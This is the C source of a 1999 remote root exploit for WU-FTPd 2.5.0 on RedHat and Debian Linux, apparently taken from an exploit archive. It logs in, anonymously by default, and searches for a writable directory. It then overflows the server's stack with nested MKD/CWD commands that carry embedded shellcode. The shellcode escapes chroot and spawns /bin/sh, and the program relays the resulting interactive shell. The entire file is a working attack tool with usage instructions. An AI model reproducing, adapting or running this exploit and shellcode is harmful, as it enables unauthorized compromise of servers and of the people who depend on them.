home *** CD-ROM | disk | FTP | other *** search
- /*
- * (Yet another) WU-FTPd 2.5.0 exploit
- * Searches for writable path and overflows
- *
- * (c) 1999 Mixter <mixter@newyorkoffice.com>
- * http://members.tripod.com/mixtersecurity
- *
- * Target platforms: RedHat5 / RedHat6 / Debian Linux
- */
-
- #define PADDING 15 /* buffer size / 255 - hint, this can vary */
- // #define PADDING 8 /* try this for debian */
- // #define PADDING 2 /* redhat 5.2 source compilation */
-
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <signal.h>
- #include <errno.h>
- #include <unistd.h>
- #include <fcntl.h>
-
- #define FTPPORT 21
-
- #define sockw(x) write(fd,x,strlen(x));
-
- int port (int, char *);
- int eval_list (char *);
-
- char path[1024];
- char path2[2048];
-
- static char *hellcode1 =
- "\x01\xfe\xff\xff\xbf\x45\x04\x0b\x08\x31\xc0\x31\xdb\x31"
- "\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb"
- "\x6b\x90\x90\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01"
- "\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d"
- "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80"
- "\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e"
- "\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01"
- "\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
- "\x2e\x2e\x31\x31\x42\x69\x42\x69\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xe4\x8a\x0c"
- "\x08\x20\x20\x20\x20\x2c\x05\x0b\x08\x0b\x8b\x0c\x08\x0a";
-
- static char *hellcode2 =
- "\x01\xfe\xff\xff\xbf\x45\x04\x0b\x08\x31\xc0\x31\xdb\x31"
- "\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb"
- "\x6b\x90\x90\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01"
- "\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d"
- "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80"
- "\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e"
- "\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01"
- "\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
- "\x2e\x2e\x31\x31\x42\x69\x42\x69\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
- "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xe4\x8a\x0c"
- "\x08\x20\x20\x20\x20\x2c\x05\x0b\x08\x01\x8b\x0c\x08\x0a";
-
- void
- usage (char *arg)
- {
- printf ("wu25 writable path exploit by Mixter <mixter@newyorkoffice.com>\n");
- printf ("usage: %s <host> [user] [pass]\n", arg);
- exit (0);
- }
-
- int
- ftptest (int fd, char *us3r, char *p4ss)
- {
- char buff[1024];
- u_int nl = sizeof (struct sockaddr_in);
- FILE *fp;
- struct sockaddr_in sock;
- struct sockaddr_in s;
-
- getpeername (fd, (struct sockaddr *) &sock, &nl);
-
- fp = fdopen (fd, "r");
-
- sockw (us3r);
- sockw (p4ss);
-
- do
- {
- if (fgets (buff, sizeof (buff), fp) == NULL)
- break;
- switch (atoi (strtok (buff, " ")))
- {
- case 530:
- fclose (fp);
- return (0);
- break;
- case 230:
- getsockname (fd, (struct sockaddr *) &s, &nl);
- if (port (fd, inet_ntoa (s.sin_addr)))
- return (1);
- break;
- }
- }
- while (atoi (strtok (buff, " ")) != 230);
-
- fclose (fp);
- return (0);
- }
-
- int
- port (int fd, char *h)
- {
- int i, sockfd, new_fd;
- u_int sl = sizeof (struct sockaddr_in);
- struct sockaddr_in my_addr;
- struct sockaddr_in s;
- struct sockaddr_in their_addr;
- FILE *fp;
- char h2[1024];
-
- if ((sockfd = socket (PF_INET, SOCK_STREAM, IPPROTO_IP)) == -1)
- {
- return (0);
- }
-
- bzero (&(my_addr.sin_zero), 8);
- my_addr.sin_family = AF_INET;
- my_addr.sin_port = 0;
- my_addr.sin_addr.s_addr = INADDR_ANY;
-
- if (bind (sockfd, (struct sockaddr *) &my_addr, sizeof (struct sockaddr)) == -1)
- {
- return (0);
- }
-
- if (listen (sockfd, 1) == -1)
- {
- return (0);
- }
-
- getsockname (sockfd, (struct sockaddr *) &s, &sl);
-
- for (i = 0; i != (int) strlen (h); i++)
- if (h[i] == '.')
- h[i] = ',';
-
- for (i = 4; htons (i + 1) < ntohs (s.sin_port); i++);
-
- snprintf (h2, sizeof (h2), "PORT %s,%d,%d\r\n", h, i, ntohs (s.sin_port) - htons (i));
-
- sockw (h2);
-
- sockw ("LIST -lAR\r\n");
-
- if ((new_fd = accept (sockfd, (struct sockaddr *) &their_addr, &sl)) == -1)
- {
- return (-1);
- }
-
- fp = fdopen (new_fd, "r");
-
- if (!fp)
- {
- return (0);
- }
-
- while (fgets (h2, sizeof (h2), fp) != NULL)
- {
- if (eval_list (h2))
- return (1);
- }
-
- sockw ("QUIT\r\n");
-
- close (sockfd);
- return (0);
- }
-
- int
- eval_list (char *l)
- {
- char *tmp, *m;
-
- tmp = l + strlen (l);
- while (*(--tmp) != ' ');
- tmp++;
- m = strtok (l, " ");
-
- if (m[strlen (m) - 3] == ':')
- {
- snprintf (path, sizeof (path), "%s", strtok (m, ":"));
- }
-
- snprintf (path2, sizeof (path2), "%s/%s", path, tmp);
-
- if (m[0] != 'd')
- return (0);
- if (m[strlen (m) - 2] == 'w' && m[strlen (m) - 3] == 'r')
- {
- memset (path, 0, 1024);
- if (path2[0] == '/')
- sprintf(path, "/%s", path2);
- else
- sprintf(path, "%s", path2);
-
- return (1);
- }
-
- return (0);
- }
-
- void
- termio (int p, int c)
- {
- char buf[1024];
- fd_set rfds;
- int i;
-
- while (1)
- {
- FD_ZERO (&rfds);
- FD_SET (p, &rfds);
- FD_SET (c, &rfds);
- if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1)
- return;
- if (FD_ISSET (c, &rfds))
- {
- if ((i = read (c, buf, sizeof (buf))) < 1)
- return;
- write (p, buf, i);
- }
- if (FD_ISSET (p, &rfds))
- {
- if ((i = read (p, buf, sizeof (buf))) < 1)
- return;
- write (c, buf, i);
- }
- }
- }
-
- u_long
- resolve (char *host)
- {
- struct hostent *he;
- struct sockaddr_in tmp;
- if (inet_addr (host) != -1)
- return (inet_addr (host));
- he = gethostbyname (host);
- if (he)
- {
- memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length);
- return (tmp.sin_addr.s_addr);
- }
- return (0);
- }
-
- int
- main (int argc, char **argv)
- {
- char user[30], pass[30];
- struct sockaddr_in target;
- int fd = socket (AF_INET, SOCK_STREAM, 0), c;
- char ugly_a[256];
-
- memset (ugly_a, 0x90, 256);
- ugly_a[255] = '\0';
-
- if (argc < 2)
- usage (argv[0]);
- if (argc > 2)
- {
- if (argc == 3)
- usage (argv[0]);
- snprintf (user, 30, "USER %s\r\n", argv[2]);
- snprintf (pass, 30, "PASS %s\r\n", argv[3]);
- }
- else
- {
- snprintf (user, 30, "USER anonymous\r\n");
- snprintf (pass, 30, "PASS anonymous@\r\n");
- }
- target.sin_family = AF_INET;
- target.sin_port = htons (FTPPORT);
- target.sin_addr.s_addr = resolve (argv[1]);
- if (target.sin_addr.s_addr == 0)
- usage (argv[0]);
- c = connect (fd, (struct sockaddr *) &target, sizeof (struct sockaddr));
- if (c < 0)
- {
- printf ("Connection error: %s\n", strerror (errno));
- exit (0);
- }
- printf ("Connected to %s: ", argv[1]);
- read (fd, path, 1024);
- printf ("%s\nScanning for writeable directory... ", path);
- fflush (0);
- sleep (1);
- if (!ftptest (fd, user, pass))
- {
- printf ("nope.\n");
- exit (0);
- }
- printf ("found at: %s\n", path);
- printf ("Overflowing stack... ");
- snprintf (path2, 1024, "CWD %s\n", path);
- sockw (path2);
- sleep (1);
- snprintf (path2, 1024, "MKD %s\nCWD %s\n", ugly_a, ugly_a);
- for (c = 0; c < PADDING; c++)
- sockw (path2);
-
- sleep (1);
- sockw ("MKD ");
- sockw (hellcode1);
- sockw ("CWD ");
- sockw (hellcode1);
- sleep (1);
- sockw ("MKD ");
- sockw (hellcode2);
- sockw ("CWD ");
- sockw (hellcode2);
-
- printf("Overflow sent...\n");
- dup2 (0, 0);
- dup2 (1, 0);
- dup2 (2, 0);
- termio(0,fd);
- return (0);
- }
- /* www.hack.co.za [2000]*/